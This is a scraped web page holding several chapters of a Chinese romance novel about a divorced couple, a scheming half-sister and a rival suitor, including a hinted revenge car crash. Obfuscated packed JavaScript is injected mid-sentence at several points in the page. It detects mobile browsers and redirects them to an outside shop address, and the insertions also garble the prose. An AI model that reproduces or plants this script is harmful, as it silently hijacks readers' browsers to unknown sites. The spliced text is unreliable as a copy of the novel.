老爷子走过去,浑浊苍老却仍然锐利的目光落在两人身上,敏锐的看到许愿额头的伤口。 “伤口是怎么来的 。” 他问的是许愿。 许愿顿了下,抬起手随意的抚弄了下自己额角的伤口,笑意轻缓。 “今天去祭拜苏女士的时候,我的情绪稍微有些激动,没注意到地面上有细碎的小石子,所以额头添了个小口子。” 她笑着撒谎,只是为了让傅老爷子安心。 场内众人目光都落在她的身上,她却恍若未知。 她的手仍然握着傅京礼的手,语气带笑的开口。 “其实爷爷今晚真的不必过来的,我和阿礼只是闹了点小矛盾,不过我们都已经三年的夫妻了,这点小事也难不倒我们的,笑笑就过去了。” “爷爷亲自来一趟,倒显得我们两个有点过于任性了,也不知道宋野和江医生要怎么笑话我们了。” 许愿语气还是带笑的,像是跟长辈撒娇调侃似的。 傅老爷子见她真的不像有事的样子,心才彻底安定了。 “你们今晚跟我回老宅,还是回公寓?” “我看阿礼醉成这样,你一个人带他回去也不好,今晚还是跟我回老宅吧。” 许愿顿了下,拒绝的话到底是没能说出来。 只是回了老宅,要演得更细些,她也担心傅京礼酒醉后露馅。 好在上了车,这一路上傅京礼都很安静,就坐在她身旁一句话也没说,偶尔只是呢喃的喊几声“阿愿”,惹得许愿内心隐隐作痛。 深夜这么来回折腾着,傅老爷子上了年纪,果然是扛不住的。 老爷子回到老宅就睡了。 许愿很轻很轻的叹了口气,目光落到傅京礼的身上,房间内只剩他们两人了。 她走到男人面前,开口问他。 “傅京礼,你还清醒吗。” 男人眼睫轻颤,缓了片刻,才终于睁开那双带着醉意的深沉黑眸。 他就这样看着面前的许愿,眸中仿佛都藏着剧烈的情感。 剧烈的……情感? 傅京礼对她吗? 她却觉得像是个笑话。 她呼吸都逐渐加重,偏过头去不再对上男人此刻探寻的目光。 转去浴室放了热水,此刻的天还是有点冷的,洗冷水澡也担心男人生病。 男人洗澡的时候,许愿就一直沉默的坐在房间的沙发上,心却一直没能平静下来。 她刻意的让自己不去想今天发生的事,但到底还是控制不住,想得越来越多越来越深。 抬手捏了捏眉心,站起身目光却落到房间内墙壁挂着的一张张结婚照。 上面的人是傅京礼和她。 这些照片是三年前拍下的,老爷子执意要求傅京礼带她去拍照,那时傅京礼纵然是再不耐,却还是应下了。 老爷子特地让管家把这里面拍得最好的几张挂到了墙壁上, 照片上的她笑得温婉柔和,眉眼之间虽然还带着几分担忧。 但更多的,是对未来的憧憬和渴望,那是对于傅京礼一起生活的憧憬渴望。 那时的她宛若无知少女,不管不顾的踏进来,却好像将自己束缚在此。 他不爱她,纵然她做再多的事,他都不会爱她。 这已经是既定的结局。 无爱的婚姻,注定会枯萎。 最终,一切都成为定局。 他们结婚时仓促匆忙,离婚时更加迅速,对方就像是非常想要快些甩掉自己这个大麻烦似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618003|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 许愿将自己代入“大麻烦”的角色。 再去看那些婚纱照中的自己,竟然能从表情中品出几分苦涩之意了。 而一旁的男人,眼神一直是冷的,不耐的,厌恶的。 从头到尾,傅京礼的眼神都没有变过。 他一直不曾爱她,甚至是讨厌她。 心尖忍不住轻微颤动,唇角的笑意都是僵的。 浴室的门打开了,洗完澡后傅京礼似乎并没有醉得那么厉害了,隐隐能感觉到自己房间内的人是许愿。 他身上只围了条浴巾,露出肌肉结实健硕的胸膛。 他很显然是那种脱衣有肉穿衣显瘦的类型,平日穿着西装,任谁也不猜不到男人内里是什么模样。 许愿却只是扫了一眼,就快速撇开头,没有再看下去。 都已经离婚了,再看这些倒显得她不懂事了 。 傅京礼擦拭着还在淌水的黑发,目光极缓的落在许愿脸上,甚至停顿了很久。 被这样的眼神盯着看,许愿多少有些不自在。 “今晚是爷爷突然袭击,所以我才需要留在这里过夜,你不必太在意。” 许愿声音冷硬的开口。 岂料下一秒,却被男人攥住手腕,那样用力的握着她的手腕,让她忍不住吃痛皱眉。 “傅京礼,你做什么,放开我!” 许愿整个人一个不察就被他托了起来,眼眸都在此刻睁大。 双脚刚刚离地,傅京礼深沉中带着点凶猛的吻便铺天盖地的压了下来。 他的这个吻实在凶猛中带着强硬,像是根本没有给她任何反应的时间余地,压得许愿直往后仰。 直到后背贴到了柔软的床铺上,她的理智稍稍回笼,意识到接下来要发生什么。 她的身体都在发颤,只觉得不光是身体,就是心都是冷的。 她知道傅京礼想做什么,可是不能,她不想也不能…… “傅京礼,我们已经离婚了。” 她开口阻止男人继续后面的动作,声音都带着哑意。 “你现在的爱人是许宁,不是我,所以不要再继续。” 第50章 挣扎 他的爱人已经是许宁了,他们不能再继续。 今天发生了这么多的事情,他们怎么能继续呢? 若是经历过这些,她却还能无知无觉的接受男人的亲吻,那她究竟成了什么人? 许愿喘息着推开身上的男人,那双清冷的眸就这样看着面前的男人,然后缓缓开口。 “傅京礼,我们离婚了。” “所以别再继续。” 男人的动作仿佛在此刻真的停顿住了。 他目光落在许愿的脸上,像是探寻,像是想看清楚此刻她脸上的表情。 许愿眼睫轻颤,再度重复:“你的爱人是许宁。” 你的爱人是许宁,不是许愿。 傅京礼终于松开她。 不知是听到她说什么,还是认出了她是谁,傅京礼都没再继续。 许愿就躺在床上,身体在这样的夜里只觉得在瑟瑟发抖。 她终于平静后才从柜中取出一床被子,整个人就窝在沙发上休息。 房间内的灯终于熄灭,她身体也好心也好仍然是冷的。 整个人没有安全感的蜷缩成一团,仿佛这样才能汲取到热源。 后半夜,终于沉沉睡去。 傅京礼睁开眼,漆黑深邃的目光中不再有冷意。 他打开床头灯,房间内有了光亮。 傅京礼取出床头柜中备用的医药箱,他似乎是已经酒醒了,缓步走到许愿面前,摘掉她手上缠绕的纱布。 看到掌心因为方才给他防水,伤口已经被泡得有些发白。 一道大概要有七八厘米的狰狞伤口,就这样出现在她白皙的掌心。 傅京礼眸光中闪过一抹异色,消毒水洒在伤口处。 许愿似乎是感觉到痛了,喉间溢出轻微的呻吟。 傅京礼动作更轻了,待消毒完毕重新为她包扎好。 她的手那样漂亮,不该留下这样的伤疤。 傅京礼眸光暗了几分,脑海中像是闪过许愿今日在许家面对他时的眼神。 失望中透着决然。 傅京礼看着面前的女人,目光沉沉,却到底没再做更多。 直至他重新回到床上,都没注意到许愿眼睫轻颤着。 在灯重新关上后,她的眼角已经有泪水划过。 许愿翻转身体,那只被傅京礼包扎的掌心还在泛着疼痛感。 为什么总是要这样呢? 伤害过她又要给予安慰,让她感受到他的温柔,她不要这样再次接受他的关怀。 明明这一切都是他造成的,不是吗。 许愿强压着涌上来的泪意,然后颤抖着手将傅京礼换上的纱布解下来丢到地上。 此刻天已经快亮了,太阳也快升起了。 她恍恍惚惚的仿佛想起几天前盛景炎带她看过的黎明前的烟花和那场绝美盛大的日出。 天色朦朦胧胧的,已经要亮了。 许愿掀开被子换上衣服,等自己出去后才感觉到阵阵寒风。 这个季节本不该再这样冷了,只是这个时间风有些凉。 好在她穿得厚,外面还裹着件大衣,凉风吹过来也不觉得多冷。 院内有个老旧的秋千,是很久前的了。 不过这三年,许愿没少坐在上面摇晃着欣赏夜景。 她坐在上面,抬起头看着逐渐亮起的天色,能看到天边的耀眼的发亮般的红。 就像……盛景炎那日对她说的。 初升的太阳,她的新生。 既然寓意新生,就不要继续怀念以往与傅京礼的过去。 他们都要开始新生活了。 “少夫人怎么醒这么早?” 管家这个年纪起得早,打算在院内转一圈,却见许愿坐在秋千架上看日出。 “睡不着。” 许愿笑了笑,管家也没多问,只是换了话题。 “早饭想吃什么?我记得少夫人很喜欢吃豌豆黄,不如让人多做点带走?” 许愿摇了下头。 “那东西做起来也麻烦,我还有很多事要处理,就不继续等点心了。” 许愿笑了笑,其实只是不想继续跟傅家的人再有更多接触纠缠在一起。 “那有什么,少爷昨晚醉酒今天肯定醒得晚,等少爷离开的时候点心总该备好了,到时让少爷带去给少夫人不是刚刚好。” 让傅京礼给她带点心,倒不如她自己等在这里等点心做好。 可这会儿再开口,倒显得刻意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618004|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 许愿只能笑了笑。 等她用过早饭,傅京礼都还没有醒。 傅京礼有车停在这里,管家把钥匙交给她,许愿不想接,但在傅老爷子和管家眼中,他们还是夫妻,要是拒绝了反倒让人觉得不对。 许愿只能收下。 到了傅氏,已经是上班的时间。 她早上路过一家老牌点心店,买了不少分给项目部的下属,才回到自己的办公室。 文件还没看下去多少,就收到了薛酒传来的邮件资料。 资料中都是许氏最近要合作的公司,因为昨天许镇江生日有傅京礼参加,倒是让不少人跟许镇江谈拢要合作了。 合作的对象还不少。 许愿眼神一暗。 她不会让许氏得逞的。 许愿打开电脑编写好资料,选择的全部都是许氏的对家,并放出话盛华有意栽培这些公司。 有心人明显能看出盛华是在针对许家,但谁也不清楚,井水不犯河水的两家公司能有什么深仇大恨。 但不妨碍那些公司选择更合适的合作对象,许镇江只是请了傅京礼参加生日宴,并不能说明傅家打算帮扶许家。 可盛华发出的消息,确实是真的要扶持那些公司,傻子才继续跟许氏合作了。 不过一天时间,就已经将许氏笼络来的投资商合作商全都找到了更合适的企业合作。 而许氏,就已经被他们抛诸脑后。 许愿的唇角终于带上了笑意。 “许经理,有人来找。” 下属敲响了她办公室的门。 许愿顿了下,走出办公室就看到自己项目部所在的区域办公桌上都放着零食点心,以及刚采买的咖啡,都是新鲜采买的大品牌。 许愿轻微皱眉,却已经敏感的闻到了玫瑰的花香味儿。 一转身,就对上盛景炎那张带笑的脸。 分明昨天才嘲讽过他,跟他算是另类的划清界限,没想到这人竟然还会凑上来。 “盛景炎,你又想做什么。” 盛景炎还是那副吊儿郎当的模样,只是眼底难得多了几分认真。 可说出的话,还是带着几分玩笑意味儿。 “你猜啊。” 第51章 同类 许愿坐在办公椅上,她戴了副黑框眼镜,刚巧遮住了额头的伤口。 换了旁人,或许会像是书呆子有些呆板。 但许是她的相貌过于明艳靓丽,精致绝伦,即便是这样普通的黑框眼镜也觉得成了时尚单品。 她扶了下鼻梁上的眼镜,昨天哭过,眼睛还发红,即便是冰敷过还带着点肿意,眼底的冷意都消散几分。 “我没有时间猜这些无聊的事,有事说事,没事你可以随时离开。” 她就是这样冷酷,重新竖起浑身的尖刺。 纵然盛景炎告诉她,自己与傅京礼全然不同,让她不要区别对待,她也完全不放在心中。 她不愿再受到伤害,只要不再付出真心就不会再受到伤害了,她很清楚这些。 所以,她甚至都不再给他机会。 “许总对我好凶啊。” 盛景炎摘掉脸上的墨镜,凑近许愿,双手撑在桌子上,俯下身望着她精致的容颜。 “戴了眼镜啊,还是好漂亮。” “可是怎么办呢,你这么漂亮,我就更加放不下你了。” 盛景炎只是凑近这样看她,目光扫过她额角的伤口。 他的眸光微微闪烁,片刻后笑道:“我能看看你手上的伤口吗,毕竟是我包扎的,也要看看恢复得如何了。” 许愿微微握紧手腕:“不必了。” 她正要收回手,男人却眼疾手快的扯住她的手腕,拽至面前。 如玉般白皙的手背掌心,那道狰狞的划痕破坏了美感。 她手指轻颤了下。 “盛景炎,放开我。” “抱歉。”盛景炎笑着道歉放开她的手:“我只是好奇,许小姐真的这么厌恶我,厌恶到我帮你包扎伤口都不肯吗,是觉得我脏吗?” 许愿抬眸,那双依旧发红的眼睛被镜片遮挡,仍能让人感觉到眼底的认真。 “你说我们是同类。” 因为是同类,所以她不认为盛景炎脏。 纵然盛景炎先前营造出浪子人设,在圈内众多解语花。 但真正的事实如何,没几个人知道。 他的母亲被父亲背叛,他在这样畸形的家庭下长大,又怎么可能真的像他父亲那样的渣滓一般多情? 她更倾向于盛景炎比任何圈二代都要干净,在他的内心一直都守着一方净土。 盛景炎眼尾微微上挑,狭长的眼眸中已经尽是笑意。 “你要的资料,我已经准备好了。” 盛景炎将全息相关的资料递到许愿面前:“这是我们最新研发出的最新链路代码,已经可以让人戴上最方便的3d眼镜,接触各类视频以及游戏。为了压缩节约成本,我也在替换最新的材料,这类眼镜的价格成本价格大概在一百元左右。当然,这种是最劣质的一档。” “但是我们要的,不只是这种眼镜,我们还在探寻研究全息舱,不只是让人代入到3d中,更希望能完全身临其境,这样才是真正的技术革新。” 盛景炎提到这些时,眼睛明显是闪着光的。 他对这些是真的抱有期待。 许愿顿了下,翻开资料档案,看到已经有了成品的3d眼镜。 再翻看到需要的研究资料栏后,许愿看到那串代码,眸光微微闪烁,打开电脑上的一串数据网络。 盛景炎见此,凑过去围观。 许愿手速飞快的在键盘上敲打着最新型的代码,将原有基础的代码一段段的拆开,加入了更广义深奥的代码数字。 “你们研究员研究的代码,其实大方向没有错。但是想要研究全息舱室,必定要花费大量时间,一段段拆解每一段细小代码的。这些以后是要与我们大脑相连的代码数据,一定要小心谨慎。” 许愿说着,再次输入了一长串的数据。 “就像这样,这又是一段更细致的新型代码数据。” 盛景炎不是学这些的,但有所涉猎,也是能看懂些内幕的。 此刻明显能感觉到许愿提起这些研究时,眼底闪烁着星星点点的光亮。 与谈到金融和其他合作时,她的眼神全然不同。 她像是真的完全了解这些的研究员。 他看着面前的女人,提到这些时她身上那些尖刺都像是已经不见了,温婉优雅,戴着那副平平无奇的黑框眼镜,带着明显的知性美。 他好像到了这一刻,才真正有些了解许愿。 “你不喜欢金融吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618005|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他语气肯定的开口。 许愿敲打键盘编写数据的动作,已经彻底慢了下来。 她看着眼前的盛景炎,瞳眸微怔,许久都没有开口说话。 她不喜欢金融吗? 不是不喜欢,只是相较于金融,她更在意的是信息智能方面的研究。 可是研究这些需要钱,数不清的钱,谁会给她投资呢? 不如她先去学金融,等赚到钱再去做更多的研究,只是没想到金融行业一旦涉猎,就彻底逃不开了。 比起这些数字游戏,她更喜欢在代码世界里追逐另类快感。 初中也好,高中也好,她都曾参加过世界级的数学比赛和物理化学相关的比赛,全 部都拿到了金奖。 凭借这些奖牌,她私下拜访了国外的老教授,编出的小软件卖出的第一笔钱,创建了最初的盛华资本。 一切的一切,都建立在信息智能的研究。 可是渐渐的,她追逐在傅京礼身边,满脑子都是复仇查找真相,仿佛已经丢失了自我。 她好像已经记不清几年前的自己是什么模样了。 她揉捏了下眉心,那串代码没再编写下去。 她将代码拷贝到u盘内,抬起头看向盛景炎。 “我已经跟薛酒联系过,他会每季度都批给你们研究员一笔资金,算作是我们的加盟合作,有问题随时联系我。” 盛景炎笑着看她,瞳眸却愈发深沉。 得到肯定的合作答案,他便没有多待。 离开许愿的办公室,盛景炎直接进了电梯到顶层。 秘书们凑在一起议论许宁为什么没来上班。 “听说许宁是出车祸了,身上那衣服包包全都撞烂了,烂到没办法看了。” “她早上哭哭啼啼的打电话过来给傅总请假呢,不过傅总在开会,是沈秘书接的。” “好像就是头撞破了,手骨折了,掌心还划了一道大口子。” “也是命大,出车祸就只这么点小伤。” “不然人家怎么这么好命,成了傅总的新任秘书呢?” 秘书科的秘书们凑在一起小声议论。 盛景炎听到他们议论的内容,眸光一暗。 第52章 车祸 “盛总。” 秘书们正在议论,看到盛景炎瞬间都噤了声,唤了句盛总。 盛景炎脸上带笑:“你们傅总在办公室吗。” 领头的秘书回应:“傅总的确在办公室,盛总是有事要找傅总吗。” 盛景炎微笑,待推开办公室的门,一眼就看到了坐在办公桌上在揉捏眉心的男人。 傅京礼听到开门声抬眸扫去,瞥见盛景炎也只是略扫一眼。 他的无视,让盛景炎唇角的笑意愈深。 “傅总,我听说你身手不错,来比一场吗。” 傅京礼放下手中的文件,漆黑瞳眸掠过层层寒芒。 盛景炎倒是有意思,他还没有找他,盛景炎却先找上门,他当然不会拒绝。 …… 盛景炎来时毫发无伤,离开时眼角嘴角却带了点青紫。 可他却并不在意这些,离开前还冲傅京礼咧嘴笑,那模样倒是有些招人恨。 傅京礼猜得到盛景炎是为了许愿才来找茬。 他是在未许愿鸣不平,作为许愿的追求者,盛景炎自然孔雀开屏似的想要跟他比对。 盛景炎没有占到多少便宜,但这人似乎也并不觉得吃亏,好像动到傅京礼就已经算是赢了。 他也没去许愿面前邀功,戴着那副墨镜大摇大摆的离开。 待盛景炎离开后,傅京礼才有时间看到手机上数个未接来电。 全都是许宁的。 他皱眉打过去,那头许宁很快接听了,声音里面都带着哭腔。 “阿礼,我好疼啊,你能不能来看看我?” 她的声音实在是虚弱可怜,像是遭了什么大难。 早上那通电话是沈略接的,傅京礼并不清楚许宁出车祸的事。 突然听到她带哭腔的声音,男人微微皱眉。 “出了什么事?” “我受伤了,现在在医院,你来看我好不好。” 许宁小心翼翼的恳求。 傅京礼眸光微闪,看向身边的沈略。 沈略摸了摸鼻子,一言不发的整理文件。 看到他如此心虚的动作,傅京礼蹙眉:“把地址发我。” 许宁的声音这才带了点笑意。 挂断电话,傅京礼就收到了许宁的位置坐标。 她在云尚医院,陪在她身边的还有许镇江。 男人目光扫向沈略:“怎么回事?不是说她只是因为家里的事请假吗?” 沈略声音平静:“生病算是病假,也算是事假,受了点伤而已,没必要大惊小怪,耽误您的时间。” 傅京礼深深的看了他一眼。 沈略开口道:“许经理受伤生病的时候,傅总不也是这么说的吗。” 沈略开口:“不是什么要紧事,就不要打扰您。” 傅京礼眸光闪烁,似乎是想起了两年前许愿为了参加一场谈判会高烧住院,险些烧出肺炎。 但为了那场谈判,她还是继续陪国外的合作商喝酒。 最终成功谈下合同,人却也倒下了。 男人到底没再说什么,驱车去了云尚。 许宁就可怜巴巴的躺在病床上,说是严重却也没有多严重,只是手骨骨折。 额头的口子有些大,被缝了几针,这会儿麻药劲儿还没过去,她还没有觉察出那疼痛感来。 江惊蛰也是听人提到有傅氏的人,才来多看了一眼。 万万没想到受伤的,会是傅京礼那位新上任的情人。 坦白来说,江惊蛰对女性还是友好的。 傅京礼和许愿之间,他几乎是将过错都推到傅京礼身上,至于许宁…… 他是真的想不到开脱的话。 知三当三的,不论男女都让人觉得恶心。 他本想看一眼就走,岂料许镇江认识他,见到他脸上都露出谄媚的笑来。 说是询问许宁的伤势,其实更多的是在巴结他。 江惊蛰面无表情的听许镇江自行胡言乱语,直到看到许宁委委屈屈的给傅京礼打了通电话,江惊蛰也只是挑眉瞥了她一眼,没说其他的,倒是许镇江在一旁开脱。 “我们宁宁很依赖傅总的,这次受伤了做手术时,还在喊着傅总的名字。” 许镇江像是在说许宁有多深情。 江惊蛰听到“手术”两字,眉心一跳。 “许先生,恕我直言,许小姐这其实算不上手术。” 一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618006|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,打断了许镇江继续的矫情。 许镇江干笑两声,后续转移话题巴结江惊蛰。 而江惊蛰早没有心思听他胡说八道了。 但等会儿傅京礼要来,他索性多待会儿。 等到傅京礼到了病房,他一眼瞥见江惊蛰:“你怎么在这里。” 江惊蛰淡淡的嗯了声:“有人说你的人受伤住院,我来看一眼。” “她伤得怎么样。” “能有什么事?”江惊蛰不咸不淡道:“手骨骨折要养一阵子,手心缝针也要养段时间,额头的伤口也不会破相。” 他简短的提了几句。 这一番话,倒是让许愿到嘴边的矫情话全都憋到喉咙里,她就这么看着江惊蛰,十分委屈的道:“江医生, 你每天做那么多手术,当然觉得这只是小伤了。可是对我来说,真的很痛的。” 江惊蛰被她委屈的语气恶心得直皱眉。 他看了许宁一眼,没再说其他的,只留了句话给傅京礼:“我还有事,就不多留了。” 转身就走。 他能有什么事? 无非是找个借口想离开。 傅京礼来了,许宁指不定要在傅京礼面前又演又闹,他看了闹心。 江惊蛰离开后,许宁才终于算是内心松了口气。 此刻,她抬起那双水盈盈的黑亮眼睛望着傅京礼。 “阿礼,今天真是吓死我了,如果位置再偏一点,我的眼睛都要受伤了。” 她用那只没有受伤的手抓住傅京礼的手,似乎是让他感受自己此刻有多惊慌失措。 傅京礼垂眸看她,还未开口,许宁就已经声音哽咽的开口。 “阿礼,你说会不会是姐姐在报复我?” 这事又跟许愿有什么关系? 傅京礼轻微皱眉,下一秒就听到许宁开口。 “姐姐昨天在父亲的生日宴上就有受伤,我今天又这么巧的……” 她委屈道:“我知道是我昨天惹姐姐生气了,可我真的不是故意的,姐姐为什么要这么对我呢?今天再偏一寸,我可能整个人都会瞎掉。” “姐姐可以生气可以打我可以骂我,可为什么要制造这种车祸呢。” 第53章 活该 此刻不管这件事是不是许愿做的,许宁都已经一股脑的推到许愿身上。 她跟许愿有仇的啊。 许愿在许镇江的生日宴会上受伤,怎么可能不会报复? 她最近又没有得罪其他人,唯一得罪的就算是许愿了。 不是许愿做的,还能是谁做的? 更何况,哪里有这么巧的事情? 许愿伤了额头她就伤了额头,许愿伤了手她就伤了手? 这不就是许愿故意伤害她,让她知道这一切是她做的吗? 她怎可能不告状? 她就是要告状,要让傅京礼知道许愿的心肠有多黑! 傅京礼眼神一暗,声音都带着明显的冷意:“你认为是许愿做的?” 许宁被他此刻的眼神看得心里发寒,唇瓣轻微抖动:“难道不是姐姐做的吗。” 到了此刻,她还是想将许愿拉下水。 “你可以问她。” 傅京礼看着面前的女人,声音平静且冷淡。 许宁被这话一噎,她要的是傅京礼因为这件事生气从而针对许愿,而不是像现在这样平静的对待这件事。 可话都到这会儿了,势必是要打一通电话给许愿了。 许愿那边很快接通了电话。 “您好,哪位。” 许愿清冷的声音中透着几分温和。 “姐姐,是我。” 许宁黏黏糊糊的声音透过手机传过去,许愿那边似乎是愣了下,然后迅速挂断电话,根本没有给她继续说下一句的机会。 许宁整个人都愣住了,下一刻眼底就弥漫上了一层雾气,像是被欺负了一般。 “阿礼,姐姐怎么能这样对我呢?我只是……我只是打了一通电话而已。” 傅京礼面色如常,开口时声音明显带着冷意。 “许宁,昨天是什么日子。” 许宁被问得愣了一下,心里咯噔着。 “是我父亲的生日。” 傅京礼看着她:“还有呢。” 许宁心中一紧,脸上表情委屈:“还有什么,我不知道了啊。” “你是真的不知道吗,昨天还是许愿母亲的忌日。” 傅京礼声音凉薄开口:“你在她母亲忌日当天毁掉她母亲的衣服,还妄想她温柔的对待你吗?许宁,你说有这样的道理吗?” 许宁脸上那浅浅的笑意僵了一瞬。 她一时说不出话了。 “我真的很抱歉,我不知道昨天是那样的日子,否则我……” 她急的眼睛里溢满泪水:“对不起,都是我的错,姐姐想要教训我也是应该的。” 她开始不停掉眼泪。 傅京礼只是沉稳的看着她,不发一言。 许宁心里愈发慌了,她唇瓣颤抖:“阿礼,你能不能给姐姐打通电话,我想问清楚今天的事情,顺便向姐姐道歉。” 傅京礼眸光中闪烁着冷芒。 片刻后,他淡淡的嗯了一声。 傅京礼的号码拨过去,许愿仍然是秒接:“傅总,如果是有关工作的事情尽快吩咐,我这边还需要整理其他各部门的各类项目工作,没有时间浪费在无关紧要的人身上。” 她显然是知道傅京礼跟许宁在一起,所以才说了这话。 无关紧要的人,自然指代许宁。 许宁表情都有些僵硬。 “姐姐,你怎么能这么说我?我现在也是阿礼的秘书,也是傅氏的一员……” 话音才落,许愿淡淡的嗯了一声:“所以你要跟我讨论最近的商业合同吗?你要讨论有关新能源开创的事,还是傅氏最近开拓新市场的事?或者是电子产品相关?” 许愿的话,让许宁一噎。 她一个艺术生哪里懂这些。 能进入傅氏,都是傅京礼给她面子。 提起什么合作案,她真是两眼一黑。 “姐姐,我打电话不是为了这件事,我只是想问你,这次车祸的事是不是跟你有关。” 许宁小心翼翼的开口,那一副被人压榨似的模样。 许愿显然顿了下:“你出车祸了?” 许宁委屈的嗯了一声:“我今早去傅氏的路上出的车祸,刚巧伤到了手跟额头。” 这已经是在暗示许愿,这件事是她做的了。 许愿像是轻笑了一声:“那你真是活该呢。” 她是笑着说的。 许宁震惊,她没想到许愿在明知道傅京礼在一旁的情况下,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618007|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能说出这种话。 “看来是有人看不惯你,想要教训你了。” 许愿冷嘲的开口。 许宁委委屈屈的看向傅京礼,似是想要男人为她说句话。 傅京礼眸光微暗,片刻后接过手机,声音中带着冷意:“许愿,是你做的吗。” 他只是问一句,许愿那边却沉默许久。 “傅京礼,我们相处三年,你觉得会是我做的吗?” 他们相处三年,许愿是什么性子他其实始终不清楚。 就像这次许宁遭遇车祸,他猜到可能不是许愿做的,但并非百分之百相信她,所以才会开口询问是不是她做的。 “或者,我换句话来问,如果这次的 事真的是我做的,傅总要为了你的情人报复回来吗?” 她问得直接。 傅京礼沉默。 许愿没能得到自己想要的答案,她再度恢复成那个平静冷淡的许经理。 “傅总,如果您这边没有其他的事情,我就先挂电话了,我还有很多事要做。” 许愿切断电话,傅京礼握紧一阵忙音的手机,心里涌上一股无法言说的情绪。 他猜,他的沉默再度伤到了许愿。 “阿礼,你怎么了?” 许宁在一旁小心翼翼的询问。 她似乎也感觉到傅京礼情绪不对,没敢再哼唧委屈。 “我没事。”男人声音冷淡:“你好好休息。” 话落,傅京礼离开病房,没有多停留。 许宁在傅京礼离开后低垂着眼睛,眼底都藏着狠辣之意。 她能感觉到傅京礼对许愿多有留情。 两人都已经离婚了,都经历过昨天的事情了,傅京礼为什么还能对许愿有感情! 不行,她一定要尽快得到傅京礼,以免他们两人重新在一起。 那她做的一切准备,就全部都白费了! …… 许愿靠着办公椅。 她捏了捏眼睛后,才打开手机,给盛景炎打过去。 她几乎不用多想,就猜到这次的事情是谁做的。 “许宁车祸的事,你做的?” 话落,许愿补了一句:“不要让人查出来。” 第54章 全都讨回来 除了盛景炎,许愿想不到做这件事的人还有谁。 陆斯年还未回国,纵然真的在国内,他也不会用如此幼稚的手法报复回去。 至于薛酒,更不会将许宁这种小人物小喽啰放在心上,所以也从某一种角度忽略了许宁这种人对许愿的影响力。 许宁纵然出身卑微人品低劣,但确实给许愿带来了深层意义的伤害,身体上心理上的伤害。 薛酒和陆斯年不在国内,也并不清楚许宁到底做了什么事。 清楚实情的除了傅京礼和盛景炎外,就是许宁。 傅京礼如此维护许宁,又怎么可能为了她伤害许宁? 而她没有做过这些,所以能对许宁出手的,只会是盛景炎。 他倒是干脆利索,许是根本没打算放过许宁。 比之许宁对她做的事,更多了几分狠辣。 盛景炎已经回到盛世总公司,秘书看到他脸上的青紫都愣了下,但没敢多问,聪慧小心的将药箱带进办公室就退出去。 盛景炎耳朵里戴着蓝牙耳机,接听许愿的来电,此刻手却随意的揉了下唇角的青紫痕迹。 嘶,傅京礼那王八蛋下手还真挺重。 他呼了声问:“怎么猜到是我做的?” “那么明显的报复手段,傅京礼不可能做,剩下的就是你我,你觉得是我做的?” 就是用最简单的排除法,都能猜出来是盛景炎干的。 这人倒是真的游走在法律边缘界限。 “怎么就不能是有正义之士看不上许宁,出来伸张正义呢?” “好的正义之士,那就谢谢你替我伸张正义了。” 许愿转动手中的钢笔:“许宁是傅京礼的心头好,你实在不必为了我得罪傅京礼,往后这些事不必再做。” “她和许镇江做的事情,我全都会通过其他方式,一点点的讨回来。” 许愿声音中明显带着点笑,只是那笑极尽凉薄。 “是我忘了许总的身份了。”盛景炎调侃了句。 话都已经说开了,许愿没再继续跟盛景炎说更多。 